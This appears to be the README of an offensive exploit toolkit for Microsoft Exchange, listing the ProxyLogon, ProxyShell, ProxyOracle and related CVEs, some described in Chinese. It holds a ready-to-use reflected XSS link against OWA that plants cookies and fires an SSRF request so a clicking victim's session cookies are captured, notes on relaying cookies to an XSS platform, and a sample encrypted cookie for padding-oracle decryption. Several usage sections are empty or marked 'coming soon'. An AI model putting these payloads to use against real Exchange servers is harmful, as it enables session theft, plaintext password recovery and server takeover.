proxylogon, proxyshell, proxyoracle full chain exploit tool



proxylogon, proxyshell, proxyoracle full chain exploit tool

  1. ProxyLogon: The most well-known and impactful Exchange exploit chain
  2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
  3. ProxyShell: The exploit chain demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty

ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! Slides Video

most of the exploit is recoded with golang to speed up... and for learning golang purpose :)

NAME CVE patch time description
ProxyLogon CVE-2021-26855 Mar 02, 2021 server-side request forgery (SSRF)
ProxyLogon CVE-2021-27065 Mar 02, 2021 Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验写文件后缀,可由文件内容部分可控的相关功能写入WebShell
ProxyOracle CVE-2021-31196 Jul 13, 2021 Reflected Cross-Site Scripting
ProxyOracle CVE-2021-31195 May 11, 2021 Padding Oracle Attack on Exchange Cookies Parsing
ProxyShell CVE-2021-34473 Apr 13, 2021 Pre-auth Path Confusion leads to ACL Bypass
ProxyShell CVE-2021-34523 Apr 13, 2021 Elevation of Privilege on Exchange PowerShell Backend
ProxyShell CVE-2021-31207 May 11, 2021 Post-auth Arbitrary-File-Write leads to RCE
proxytoken CVE-2021-33766 July 13, 2021 With this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users. As an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker.
Microsoft Exchange Server 远程执行代码漏洞 CVE-2021-42321 Nov 17, 2021 Exchange Deserialization RCE



Once a victim clicks this link, will receive the cookies.

https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`[email protected]:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/`,{credentials:`include`});//

or use 3gstudent's way:


借助SSRF漏洞,控制Exchange服务器将Cookie信息发送至XSS平台,导致最终想要的Cookie信息位于Request Headers中




  • 修改index.js,使用ajax模拟用户发包触发SSRF漏洞

  • 修改 ,将GET请求的Request Headers进行提取

  • 使用合法的证书


var xmlHttp = new XMLHttpRequest();"GET", "", false);
document.cookie = "X-AnonResource=true";
document.cookie = "";



example cookie for decryption test:

cadata=FVtSAAWdOn29HYDQry+kG+994VUdAxONrayi4nbJW9JWTh8yLueD6IxYpahfxcGsA/B3FoVUQOD2EG605SR4QdeQ1pof+KD//6jwpmYQjv/II+OcqChrFZFvcMWv46a5; cadataTTL=eTxCEHKHDMmd/gEqDuOafg==; cadataKey=T4juhN4dUMKY4wkajUD43n4EWfMwefPQlqzxXmK4GnSHIZqo+g+uQg1Y2ogGoD1HyoVpRYgjGcCu6rmNQK+LsaZ8/lfBCThBI5yAhP1W2Fx+YNKvzy8Bcpui7zTlhAY598lE5Aijs6crHVXJeZkbLfMJgp0cFHj5uTQPcg31O/AeOAnD5c27IYOQ7JqMW7GOUVor1lhYnhh0R/NtWWqyfr5oE9j0jbxIGgrQrXIpLxL/uAU1ddC+/5jG9Edpq4sC213amuU/94rkHYzNH9OsiHYIkXr/NmkB7p908XrFrwXAcvV9QieoRiS3jvKCbzk3mnMu3YTnsJwAuiHzSXdCOQ==; cadataIV=GB9B+rwrigyPOf8xnV1KAek++yovEot9jFcV68WepCTQoRtQ5HUxSC7tE1mmHg0YtE6EOZNUM/WiNGP6xI4UTAofcMOfTLeRpBzeaKOETfjxKK2W7IKn+9k2tRkc1pIlO8FTOVx/dOHOoIFHUkqxFr+TgBULJ1I7tUmO7W0XDX4ZJHfmQhVqOOzeyjImKdX7Uv/jIJrF4VEew7rgvrC8BhqOqWgaTxpGhDTzIXl+wW3crsgZmXpXhOPURej1iwmtvhuQU6iuq4/IRv0lVIW3WvP6gUI8owIUxppnJl7YmN27Aqkjs0nTZZz1LBuZN+YxY4x6Lvs2FMG68jllhE4kwg==; cadataSig=BOJSYN2B+3RsXjO2akh3mqlKKkeAZVamOzfpVo0QdPEA3BHjpR6ls5yD9TzAQzRuWJJaaRIm7wMEiBMFz/sK5jk3R6kWw1OmMtJN2c38PdvwGIe6/7ByJdl52a5ojhDrRZhc4Qc3y+FFRx6XKvqUljTRWtHJGI1Jad2+LiNhJGkalhUeTM/a2V4LiQWf6Vv1KzJO79rZuOOOBnatht/E29j6636FpllCfEKrrogPQ7ADdVS6OOmqNU9gRMVgKnomC2t2PCtuYj26HUjnZ3rfc6BdzVmtu9EYSzccObsB2jxXXclAm5a+NZU/6sj9tlq3gcurjBl9yUDTgbZLg383gw==
  • amd64 poc binary usage:

  • just a modyfied version of padre, added proxyoracle detect poc code...

  • python script exp usage:

Decrypt this cookie to plaintext:


coming soon...


coming soon...

Exchange RCE CVE-2021-42321

coming soon...

more exp coming soon......

Reference (worship to orange!)

trapped in the darkest nightmare...
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